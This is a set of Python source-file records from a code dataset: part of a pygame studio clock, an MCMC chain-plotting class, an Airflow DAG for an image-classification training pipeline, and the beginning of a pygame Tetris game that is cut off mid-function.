WINDOWHEIGHT))\npygame.display.set_caption('Studio Clock')\nfontObj = pygame.font.Font('/usr/share/fonts/dejavu/DejaVuSans-Bold.ttf', FONTSIZE)\n# fill the screen to draw from a blank state\nDISPLAYSURF.fill(BGCOLOR)\n\n\nwhile True: # main application loop\n facecolor = RED\n # event handling loop for quit events\n for event in pygame.event.get():\n if event.type == QUIT or (event.type == KEYUP and event.key == K_ESCAPE):\n pygame.quit()\n sys.exit()\n\n # Reduce CPU load\n pygame.time.wait(100)\n\n # get the current time\n now = time.localtime()\n now_hour = now[3]\n now_minute = now[4]\n now_second = now[5]\n\n\n # Here is the settings for yellow-blinking minute\n if now_hour == 9 and now_minute == 28 and now_second%2 == 0:\n facecolor = YELLOW\n if now_hour == 13 and now_minute == 35 and now_second%2 == 0:\n facecolor = YELLOW\n\n # Blank screen\n if now_second == 0:\n DISPLAYSURF.fill(BGCOLOR)\n\n # Draw the four markers\n for marker in range(0, 60, 5):\n x, y = getTickPosition(marker, CLOCKSIZE * 1.1)\n pygame.draw.circle(DISPLAYSURF, facecolor, [int(x),int(y)], LEDSIZE)\n\n # draw the second LED's\n x, y = getTickPosition(now_second, CLOCKSIZE * 1)\n pygame.draw.circle(DISPLAYSURF, facecolor, [int(x), int(y)], LEDSIZE)\n\n # Type time\n # Change the factor values if the time is placed off center\n timetext = fontObj.render(str(now_hour).rjust(2, '0')+\":\"+str(now_minute).rjust(2, '0'), True, facecolor)\n DISPLAYSURF.blit(timetext, (WIN_CENTERX - FONTSIZE * 1.85, WIN_CENTERY - FONTSIZE / 1.15))\n \n pygame.display.update()\n \n", "repo_name": "RXJpawo/studioclock", "sub_path": "klocka.py", "file_name": "klocka.py", "file_ext": "py", "file_size_in_byte": 4125, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "math.cos", "line_number": 49, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 49, "usage_type": "attribute"}, {"api_name": "math.sin", "line_number": 50, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 50, "usage_type": "attribute"}, {"api_name": "pygame.init", "line_number": 65, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 67, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 67, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 68, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 68, "usage_type": "attribute"}, {"api_name": "pygame.font.Font", "line_number": 69, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 69, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 77, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 77, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 79, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 80, "usage_type": "call"}, {"api_name": "pygame.time.wait", "line_number": 83, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 83, "usage_type": "attribute"}, {"api_name": "time.localtime", "line_number": 86, "usage_type": "call"}, {"api_name": "pygame.draw.circle", "line_number": 105, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 105, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 109, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 109, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 116, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 116, "usage_type": "attribute"}]} {"seq_id": "18959950350", "text": "import numpy as np\nfrom matplotlib import pyplot as plt\nfrom getdist import plots, MCSamples\nimport time\nimport emcee\nimport corner\nimport seaborn as sns\nimport pandas as pd\nfrom IPython.display import display, Math\nimport arviz as az\nfrom scipy.stats import scoreatpercentile\n\nclass Plotter:\n\t'''\n\tTakes the sampler object, the labels of each chain and title of the analysis.\n\tReturns a plotter object.\n\t'''\n\n\tdef __init__(self,sampler,labels,title):\n\t\tself.sampler=sampler\n\t\tself.labels=labels\n\t\tself.title=title\n\n\tdef plot_chains(self, num_chains = None):\n\t\t'''Plot the chains for each parameter.'''\n\t\tsamples = self.sampler.get_chain()\n\t\tlen_chain,nwalkers,ndim=self.sampler.get_chain().shape\n\t\tsns.set(style='darkgrid', palette=\"muted\", color_codes=True)\n\t\tsns.set_context(\"paper\", font_scale=1.5, rc={\"font.size\":10,\"axes.labelsize\":17})\n\t\tfig, axes = plt.subplots(ndim, figsize=(10, 7), sharex=True)\n\n\t\tfor i in range(ndim):\n\t\t\tax = axes[i]\n\t\t\tif num_chains != None:\n\t\t\t\tax.plot(samples[:, 0:num_chains, i], alpha=0.3)\n\t\t\telse: #Plot all the chains\n\t\t\t\tax.plot(samples[:, :, i], alpha=0.3)\n\t\t\tax.set_xlim(0, len(samples))\n\t\t\tax.set_ylabel(self.labels[i])\n\t\tax.yaxis.set_label_coords(-0.1, 0.5)\n\t\taxes[-1].set_xlabel(\"Number of steps\");\n\t\tif not self.title==None:\n\t\t\tfig.suptitle(self.title);\n\n\tdef plot_chains_derivs(self):\n\t\t'''Plot the posprocessed chains for each parameter.'''\n\t\tif isinstance(self.sampler, np.ndarray)==True: #Posprocessed chains\n\t\t\tsamples = self.sampler\n\t\t\tlen_chain,ndim=samples.shape\n\t\tsns.set(style='darkgrid', palette=\"muted\", color_codes=True)\n\t\tsns.set_context(\"paper\", font_scale=1.5, rc={\"font.size\":10,\"axes.labelsize\":17})\n\t\tfig, axes = plt.subplots(ndim, figsize=(10, 7), sharex=True)\n\n\t\tfor i in range(ndim):\n\t\t ax = axes[i]\n\t\t ax.plot(samples[:, i], alpha=0.3)\n\t\t ax.set_xlim(0, len(samples))\n\t\t ax.set_ylabel(self.labels[i])\n\t\tax.yaxis.set_label_coords(-0.1, 0.5)\n\t\taxes[-1].set_xlabel(\"Number of steps\");\n\t\tif not self.title==None:\n\t\t\tfig.suptitle(self.title);\n\n\n\tdef plot_contours(self, discard=0, thin=1, color='b'):\n\t\t'''\n\t\tPlot contour plots for the parameters from Markov chains. Probability\n\t\tdistributions for each parameter are in the diagonal, while 2D contours\n\t\tare outside the diagonal.\n\t\t\n\t\tTODO: Allow to change colors of the contours and specify labels on the plots.\n\t\t'''\n\t\tif isinstance(self.sampler, np.ndarray)==True: #Posprocessed chains\n\t\t\tflat_samples = self.sampler\n\t\telse:\n\t\t\tflat_samples = self.sampler.get_chain(discard=discard, flat=True, thin=thin)\n\t\t\n\t\tnames = [i.replace('$','') for i in self.labels]; \n\t\tndim = len(self.labels)\n\t\tsamples1 = MCSamples(samples=flat_samples, names=names, labels=names)\n\t\tsamples1 = samples1.copy(label=r'Lowest-order with $0.3\\sigma$ smoothing',\n\t\t\t\t\tsettings={'mult_bias_correction_order':0,'smooth_scale_2D':0.3,\n\t\t\t\t\t'smooth_scale_1D':0.3})\n\n\t\tg = plots.get_subplot_plotter()\n\t\tg.triangle_plot(samples1,\n\t\t\t\t\t\tfilled=True, params=names,\n\t\t\t\t\t\t#contour_colors=color,\n\t\t\t\t\t\tcontour_lws=1,\n\t\t\t\t\t\tlegend_labels='')\n\n\n\tdef report_intervals(self, discard, thin, save_path, hdi=True):\n\t\t'''\n\t\tPrint parameters values, not only the mode values but also their values\n\t\tat one and two sigmas.\n\t\t'''\n\t\tsns.set(style='darkgrid', palette=\"muted\", color_codes=True)\n\t\tsns.set_context(\"paper\", font_scale=1.2, rc={\"font.size\":10,\"axes.labelsize\":12})\n\n\n\t\tif isinstance(self.sampler, np.ndarray)==True: #Posprocessed chains\n\t\t\tsamples = self.sampler\n\t\t\tlen_chain,ndim=samples.shape\n\t\telse:\n\t\t\tsamples = self.sampler.get_chain(discard=discard, flat=True, thin=thin)\n\t\t\tlen_chain, nwalkers, ndim = self.sampler.get_chain().shape\n\n\t\ttextfile_witness = open(save_path + '/intervals.dat','w')\n\t\tlabels = self.labels\n\t\tfor i in range(ndim):\n\t\t\tmean = np.mean(samples[:,i])\n\t\t\tone_s = 68\n\t\t\ttwo_s = 95\n\n\t\t\tif hdi==True:\n\t\t\t\tone_sigma = az.hdi(samples,hdi_prob = one_s/100)[i]\n\t\t\t\ttwo_sigma = az.hdi(samples,hdi_prob = two_s/100)[i]\n\t\t\telse:\n\t\t\t\tone_sigma = [scoreatpercentile(samples[:,i], 100-one_s), scoreatpercentile(samples[:,i], one_s)]\n\t\t\t\ttwo_sigma = [scoreatpercentile(samples[:,i], 100-two_s), scoreatpercentile(samples[:,i], two_s)]\n\n\t\t\tq1 = np.diff([one_sigma[0],mean,one_sigma[1]])\n\t\t\tq2 = np.diff([two_sigma[0],mean,two_sigma[1]])\n\t\t\t#print(one_sigma,two_sigma)\n\t\t\tif np.abs(one_sigma[0]) < 10**(-2): #Upper limit interval\n\t\t\t\ttxt = \"\\mathrm{{{0}}} < {1:.3f}({2:.3f})\"\n\t\t\t\ttxt = txt.format(labels[i], mean + q1[1], mean + q2[1])\n\n\t\t\telse:\n\t\t\t\ttxt = \"\\mathrm{{{3}}} = {0:.3f}_{{-{1:.3f}({4:.3f})}}^{{+{2:.3f}({5:.3f})}}\"\n\t\t\t\ttxt = txt.format(mean, q1[0], q1[1], labels[i], q2[0], q2[1])\n\t\t\ttextfile_witness.write('{} \\n'.format(txt))\n\t\t\t#display(Math(txt))\n\n\n\tdef plot_taus_vs_n(self, num_param=None,threshold=100.0):\n\t\t'''\n\t\tPlot the integrated autocorrelation time with respect to the chain length.\n\t\tObs: Threshold shouldn't be llower than 50, according to Emcee library.\n\t\tFor more info: https://emcee.readthedocs.io/en/stable/tutorials/autocorr/\n\t\t '''\n\t\tlabels = self.labels\n\t\tsns.set(style='darkgrid', palette=\"muted\", color_codes=True)\n\t\tsns.set_context(\"paper\", font_scale=1.5, rc={\"font.size\":8,\"axes.labelsize\":17})\n\t\tplt.grid(True)\n\t\tplt.xlabel(\"Number of samples $N$\",fontsize=15)\n\t\tplt.ylabel(r\"$\\hat{\\tau}$\",fontsize=15)\n\t\tplt.legend(fontsize=17);\n\t\tif num_param==None:\n\t\t\tfor j in range(len(self.sampler.get_chain()[0, 0, :])):\n\t\t\t\tchain = self.sampler.get_chain()[:, :, j].T\n\n\t\t\t\t# Compute the estimators for a few different chain lengths\n\t\t\t\tN = np.exp(np.linspace(np.log(threshold), np.log(chain.shape[1]),\n\t\t\t\t \tint(chain.shape[1]/threshold))).astype(int)\n\t\t\t\t#where chain.shape[1] is the chain length\n\n\t\t\t\ttaus = np.empty(len(N))\n\t\t\t\tfor i, n in enumerate(N):\n\t\t\t\t taus[i] = emcee.autocorr.integrated_time(chain[:, :n],quiet=True);\n\t\t\t\ttaus=np.cumsum(taus)\n\n\t\t\t\t#plt.axhline(true_tau, color=\"k\", label=\"truth\", zorder=-100)\n\t\t\t\t#plt.loglog(N, taus, '.-', label=\"{}\".format(labels[j]))\n\t\t\t\tplt.plot(N, taus, '.-', label=\"{}\".format(labels[j]))\n\t\t\tylim = plt.gca().get_ylim()\n\t\t\tplt.ylim(ylim)\n\t\t\tplt.plot(N, N / threshold, \"--k\", label=r\"$\\tau = N/{}$\".format(threshold))\n\t\t\tplt.legend(loc = 'best', fontsize=12)\n\t\t\tplt.show()\n\n\t\telse:\n\t\t\tchain = self.sampler.get_chain()[:, :, num_param].T\n\n\t\t\t# Compute the estimators for a few different chain lengths\n\t\t\tN = np.exp(np.linspace(np.log(threshold), np.log(chain.shape[1]),\n\t\t\t \tint(chain.shape[1]/threshold))).astype(int)\n\t\t\t#where chain.shape[1] is the chain length\n\n\t\t\ttaus = np.empty(len(N))\n\t\t\tfor i, n in enumerate(N):\n\t\t\t taus[i] = emcee.autocorr.integrated_time(chain[:, :n],quiet=True);\n\t\t\ttaus=np.cumsum(taus)\n\n\t\t\tplt.loglog(N, taus, '.-')\n\t\t\tplt.plot(N, N / threshold, \"--k\", label=r\"$\\tau = N/{}$\".format(threshold))\n\t\t\t#plt.axhline(true_tau, color=\"k\", label=\"truth\", zorder=-100)\n\t\t\tylim = plt.gca().get_ylim()\n\t\t\tplt.ylim(ylim)\n\t\t\tplt.xlabel(\"Number of samples $N$\")\n\t\t\tplt.ylabel(r\"$\\hat{\\tau}$\")\n\t\t\tplt.legend(fontsize=17);", "repo_name": "matiasleize/fR-MCMC", "sub_path": "fr_mcmc/utils/plotter.py", "file_name": "plotter.py", "file_ext": "py", "file_size_in_byte": 6926, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "seaborn.set", "line_number": 28, "usage_type": "call"}, {"api_name": "seaborn.set_context", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 47, "usage_type": "attribute"}, {"api_name": "seaborn.set", "line_number": 50, "usage_type": "call"}, {"api_name": "seaborn.set_context", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 73, "usage_type": "attribute"}, {"api_name": "getdist.MCSamples", "line_number": 80, "usage_type": "call"}, {"api_name": "getdist.plots.get_subplot_plotter", "line_number": 85, "usage_type": "call"}, {"api_name": "getdist.plots", "line_number": 85, "usage_type": "name"}, {"api_name": "seaborn.set", "line_number": 98, "usage_type": "call"}, {"api_name": "seaborn.set_context", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 102, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 112, "usage_type": "call"}, {"api_name": "arviz.hdi", "line_number": 117, "usage_type": "call"}, {"api_name": "arviz.hdi", "line_number": 118, "usage_type": "call"}, {"api_name": "scipy.stats.scoreatpercentile", "line_number": 120, "usage_type": "call"}, {"api_name": "scipy.stats.scoreatpercentile", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 126, "usage_type": "call"}, {"api_name": "seaborn.set", "line_number": 144, "usage_type": "call"}, {"api_name": "seaborn.set_context", "line_number": 145, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 146, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 146, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 147, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 147, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 148, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 148, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 149, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 149, "usage_type": "name"}, {"api_name": "numpy.exp", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 159, "usage_type": "call"}, {"api_name": "emcee.autocorr.integrated_time", "line_number": 161, "usage_type": "call"}, {"api_name": "emcee.autocorr", "line_number": 161, "usage_type": "attribute"}, {"api_name": "numpy.cumsum", "line_number": 162, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 166, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 166, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 167, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 167, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 168, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 168, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 169, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 169, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 170, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 170, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 171, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 171, "usage_type": "name"}, {"api_name": "numpy.exp", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 181, "usage_type": "call"}, {"api_name": "emcee.autocorr.integrated_time", "line_number": 183, "usage_type": "call"}, {"api_name": "emcee.autocorr", "line_number": 183, "usage_type": "attribute"}, {"api_name": "numpy.cumsum", "line_number": 184, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.loglog", "line_number": 186, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 186, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 187, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 187, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 189, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 189, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 190, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 190, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 191, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 191, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 192, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 192, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 193, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 193, "usage_type": "name"}]} {"seq_id": "18824444232", "text": "import os\ndir_path = os.path.abspath(os.path.join(__file__ ,\"../..\")) # Moves one level up in the directory\n\nimport sys\nsys.path.append(dir_path)\n\nfrom datetime import datetime, timedelta\nfrom jobs.data_load import dump_aerial, dump_aerial_cropped#, dump_overlaid\nfrom jobs.batch_create import prepare_batches, remove_batches\nfrom jobs.train_cv_test import train, cvalid, test\nfrom airflow import DAG\nfrom airflow.operators.python_operator import PythonOperator\n\nfrom airflow.models import Variable\n\nwhich_run = Variable.get('which_run')\nimage_type = Variable.get('image_type')\nuse_checkpoint_of_run = Variable.get('use_checkpoint_of_run')\nfilter_conditions = Variable.get('data_filter_conditions')\nuse_checkpoint = bool(Variable.get('train_using_previous_checkpoints'))\nsave_checkpoint = bool(Variable.get('save_new_checkpoints'))\nwrite_tensorboard_summary = Variable.get('write_tensorboard_summary')\nwhich_net = str(Variable.get('which_net'))\nbatch_size = int(Variable.get('batch_size'))\nproportion_cv_data = float(Variable.get('proportion_cv_data'))\nproportion_test_data = float(Variable.get('proportion_test_data'))\n\n\n# Parse Variables\ncond_dict = {}\nfilter_conditions = filter_conditions.split('\\r\\n')\nfor conds in filter_conditions:\n k, func, v = conds.split(':')\n if func.strip() == 'None':\n cond_dict[k.strip()] = None\n elif func.strip() == 'bool':\n cond_dict[k.strip()] = bool(v.strip())\n elif func.strip() == 'int':\n cond_dict[k.strip()] = int(v.strip())\n elif func.strip() == 'float':\n cond_dict[k.strip()] = float(v.strip())\n elif func.strip() == 'str':\n cond_dict[k.strip()] = str(v.strip())\n\n\ndefault_args = {\n 'owner': 'Newline Financial',\n 'depends_on_past': False,\n 'start_date': datetime(2018, 5, 1),\n 'email': ['airflow@airflow.com'],\n 'email_on_failure': False,\n 'email_on_retry': False,\n 'retries': 1,\n 'retry_delay': timedelta(minutes=2)\n}\n\n\n\ndag = DAG('PropertyClassification_training_pipeline', default_args=default_args)\n\n#\nfetch_aerial = PythonOperator(dag=dag,\n task_id='fetch_aerial_images',\n provide_context=True,\n python_callable=dump_aerial,\n params=dict(\n which_run=which_run,img_type= image_type,\n cond_dict=cond_dict)\n )\n\nfetch_aerial_cropped = PythonOperator(dag=dag,\n task_id='fetch_aerial_cropped_images',\n provide_context=True,\n python_callable=dump_aerial_cropped,\n params=dict(\n which_run=which_run, img_type=image_type)\n )\n\n# fetch_overlaid = PythonOperator(dag=dag,\n# task_id='fetch_overlaid_images',\n# provide_context=False,\n# python_callable=dump_overlaid)\n\ncreate_batches_train_cv_test = PythonOperator(dag=dag,\n task_id='create_aerial_cropped_batches_train_cv_test',\n provide_context=True,\n python_callable=prepare_batches,\n params = dict(\n which_run=which_run,\n img_type=image_type,\n is_cvalid_test=True,\n batch_size=batch_size,\n proportion_cv_data=proportion_cv_data,\n proportion_test_data=proportion_test_data\n )\n )\n\n\n\ntrain_batches = PythonOperator(dag=dag,\n task_id='train_images',\n provide_context=True,\n python_callable=train,\n params = dict(\n which_run=which_run,\n img_type=image_type,\n use_checkpoint=use_checkpoint,\n save_checkpoint=save_checkpoint,\n write_tensorboard_summary=write_tensorboard_summary,\n which_net=which_net)\n )\n\ncross_validate_nw_batch = PythonOperator(dag=dag,\n task_id='cross_validate_images',\n provide_context=True,\n python_callable=cvalid,\n params = dict(\n which_run=which_run,\n img_type=image_type,\n which_net=which_net)\n )\n\ntest_nw_batch = PythonOperator(dag=dag,\n task_id='test_images',\n provide_context=True,\n python_callable=test,\n params = dict(\n which_run=which_run,\n img_type=image_type,\n which_net=which_net)\n )\n\n\nremove_batches = PythonOperator(dag=dag,\n task_id='remove_batches',\n provide_context=True,\n python_callable=remove_batches,\n params = dict(\n which_run=which_run,\n img_type=image_type,\n which_net=which_net)\n )\n\n\nfetch_aerial >> fetch_aerial_cropped >> create_batches_train_cv_test >> train_batches >> cross_validate_nw_batch >> test_nw_batch >> remove_batches", "repo_name": "Sardhendu/PropertyClassification", "sub_path": "dags/train_pipeline.py", "file_name": "train_pipeline.py", "file_ext": "py", "file_size_in_byte": 6259, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 23, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.abspath", "line_number": 2, "usage_type": "call"}, {"api_name": "os.path", "line_number": 2, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 2, "usage_type": "call"}, {"api_name": "sys.path.append", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "airflow.models.Variable.get", "line_number": 16, "usage_type": "call"}, {"api_name": "airflow.models.Variable", "line_number": 16, "usage_type": "name"}, {"api_name": "airflow.models.Variable.get", "line_number": 17, "usage_type": "call"}, {"api_name": "airflow.models.Variable", "line_number": 17, "usage_type": "name"}, {"api_name": "airflow.models.Variable.get", "line_number": 18, "usage_type": "call"}, {"api_name": "airflow.models.Variable", "line_number": 18, "usage_type": "name"}, {"api_name": "airflow.models.Variable.get", "line_number": 19, "usage_type": "call"}, {"api_name": "airflow.models.Variable", "line_number": 19, "usage_type": "name"}, {"api_name": "airflow.models.Variable.get", "line_number": 20, "usage_type": "call"}, {"api_name": "airflow.models.Variable", "line_number": 20, "usage_type": "name"}, {"api_name": "airflow.models.Variable.get", "line_number": 21, "usage_type": "call"}, {"api_name": "airflow.models.Variable", "line_number": 21, "usage_type": "name"}, {"api_name": "airflow.models.Variable.get", "line_number": 22, "usage_type": "call"}, {"api_name": "airflow.models.Variable", "line_number": 22, "usage_type": "name"}, {"api_name": "airflow.models.Variable.get", "line_number": 23, "usage_type": "call"}, {"api_name": "airflow.models.Variable", "line_number": 23, "usage_type": "name"}, {"api_name": "airflow.models.Variable.get", "line_number": 24, "usage_type": "call"}, {"api_name": "airflow.models.Variable", "line_number": 24, "usage_type": "name"}, {"api_name": "airflow.models.Variable.get", "line_number": 25, "usage_type": "call"}, {"api_name": "airflow.models.Variable", "line_number": 25, "usage_type": "name"}, {"api_name": "airflow.models.Variable.get", "line_number": 26, "usage_type": "call"}, {"api_name": "airflow.models.Variable", "line_number": 26, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 49, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 54, "usage_type": "call"}, {"api_name": "airflow.DAG", "line_number": 59, "usage_type": "call"}, {"api_name": "airflow.operators.python_operator.PythonOperator", "line_number": 62, "usage_type": "call"}, {"api_name": "jobs.data_load.dump_aerial", "line_number": 65, "usage_type": "name"}, {"api_name": "airflow.operators.python_operator.PythonOperator", "line_number": 71, "usage_type": "call"}, {"api_name": "jobs.data_load.dump_aerial_cropped", "line_number": 74, "usage_type": "name"}, {"api_name": "airflow.operators.python_operator.PythonOperator", "line_number": 84, "usage_type": "call"}, {"api_name": "jobs.batch_create.prepare_batches", "line_number": 87, "usage_type": "name"}, {"api_name": "airflow.operators.python_operator.PythonOperator", "line_number": 100, "usage_type": "call"}, {"api_name": "jobs.train_cv_test.train", "line_number": 103, "usage_type": "name"}, {"api_name": "airflow.operators.python_operator.PythonOperator", "line_number": 113, "usage_type": "call"}, {"api_name": "jobs.train_cv_test.cvalid", "line_number": 116, "usage_type": "name"}, {"api_name": "airflow.operators.python_operator.PythonOperator", "line_number": 123, "usage_type": "call"}, {"api_name": "jobs.train_cv_test.test", "line_number": 126, "usage_type": "name"}, {"api_name": "jobs.batch_create.remove_batches", "line_number": 134, "usage_type": "name"}, {"api_name": "airflow.operators.python_operator.PythonOperator", "line_number": 134, "usage_type": "call"}, {"api_name": "jobs.batch_create.remove_batches", "line_number": 137, "usage_type": "name"}, {"api_name": "jobs.batch_create.remove_batches", "line_number": 145, "usage_type": "name"}]} {"seq_id": "18076796446", "text": "from lib2to3.pygram import python_grammar_no_print_statement\nimport pygame\nimport random\n\n# Define constants for the screen width and height\nSCREEN_WIDTH = 800\nSCREEN_HEIGHT = 700\n\n# Define constants for the play area with and height\nPLAY_WIDTH = 300\nPLAY_HEIGHT = 600\n\n# Global variables\nblock_size = 30\ntop_left_x = (SCREEN_WIDTH - PLAY_WIDTH) // 2\ntop_left_y = SCREEN_HEIGHT - PLAY_HEIGHT\n\n# Import pygame.locals for easier access to key coordinates\nfrom pygame.locals import (\n K_UP,\n K_DOWN,\n K_LEFT,\n K_RIGHT,\n KEYDOWN,\n QUIT,\n)\n\n# Color constants\nS_COLOR = (237, 201, 255)\nZ_COLOR = (119,160, 169)\nI_COLOR = (255, 185, 151)\nO_COLOR = (127, 90, 131)\nJ_COLOR = (140, 33, 85)\nL_COLOR = (22, 93, 108)\nT_COLOR = (232, 131, 180)\nBG_COLOR = (255, 219, 201)\nGRID_COLOR = (255, 183, 146)\n\n# Shape formats\n\nS = [['.....',\n '......',\n '..00..',\n '.00...',\n '.....'],\n ['.....',\n '..0..',\n '..00.',\n '...0.',\n '.....']]\n\nZ = [['.....',\n '.....',\n '.00..',\n '..00.',\n '.....'],\n ['.....',\n '..0..',\n '.00..',\n '.0...',\n '.....']]\n\nI = [['..0..',\n '..0..',\n '..0..',\n '..0..',\n '.....'],\n ['.....',\n '0000.',\n '.....',\n '.....',\n '.....']]\n\nO = [['.....',\n '.....',\n '.00..',\n '.00..',\n '.....']]\n\nJ = [['.....',\n '.0...',\n '.000.',\n '.....',\n '.....'],\n ['.....',\n '..00.',\n '..0..',\n '..0..',\n '.....'],\n ['.....',\n '.....',\n '.000.',\n '...0.',\n '.....'],\n ['.....',\n '..0..',\n '..0..',\n '.00..',\n '.....']]\n\nL = [['.....',\n '...0.',\n '.000.',\n '.....',\n '.....'],\n ['.....',\n '..0..',\n '..0..',\n '..00.',\n '.....'],\n ['.....',\n '.....',\n '.000.',\n '.0...',\n '.....'],\n ['.....',\n '.00..',\n '..0..',\n '..0..',\n '.....']]\n\nT = [['.....',\n '..0..',\n '.000.',\n '.....',\n '.....'],\n ['.....',\n '..0..',\n '..00.',\n '..0..',\n '.....'],\n ['.....',\n '.....',\n '.000.',\n '..0..',\n '.....'],\n ['.....',\n '..0..',\n '.00..',\n '..0..',\n '.....']]\n\n# Shapes represented by index 0-6\nshapes = [S, Z, I, O, J, L, T]\nshape_colors = [S_COLOR, Z_COLOR, I_COLOR, O_COLOR, J_COLOR, L_COLOR, T_COLOR]\n\nclass Shape(object):\n def __init__(self, column, row, shape):\n self.col = column\n self.row = row\n self.shape = shape\n self.color = shape_colors[shapes.index(shape)]\n self.rotation = 0\n\ndef create_grid():\n '''\n To keep track on locked positions\n '''\n\n grid = [[BG_COLOR for x in range(10)] for x in range(20)]\n\n #TODO: check for locked positions\n\n return grid\n\ndef convert_shape_format(shape):\n '''\n Take shape format and create actual shape from reading 0's\n Returns the coordinates for where the shape will be drawn\n '''\n positions = []\n format = shape.shape[shape.rotation % len(shape.shape)]\n\n for i, line in enumerate(format):\n row = list(line)\n for j, column in enumerate(row):\n if column == '0':\n positions.append((shape.col + j, shape.row + i))\n\n for i, pos in enumerate(positions):\n positions[i] = (pos[0] - 2, pos[1] - 4)\n\n return positions\n\ndef draw_grid(surface, row, col):\n '''\n Draw line for every row and column in play area\n pygame.draw.line(surface, color, start_pos(coordinates), end_pos(coordinates))\n '''\n for i in range (row):\n # Start pos = upper left, End pos = end of play area\n # Y increased by block_size to get right spacing\n pygame.draw.line(surface, GRID_COLOR, (top_left_x, top_left_y + i * block_size), (top_left_x + PLAY_WIDTH, top_left_y + i * block_size))\n for j in range(col):\n pygame.draw.line(surface, GRID_COLOR, (top_left_x + j * block_size, top_left_y), (top_left_x + j * block_size, top_left_y + PLAY_HEIGHT))\n\ndef draw_screen(surface):\n surface.fill(BG_COLOR)\n\n for i in range(len(grid)):\n for j in range(len(grid[i])):\n pygame.draw.rect(surface, grid[i][j], (top_left_x + j * block_size, top_left_y + i * block_size, block_size, block_size), 0)\n\n draw_grid(surface, 20, 10)\n\n # Draw out play area border\n 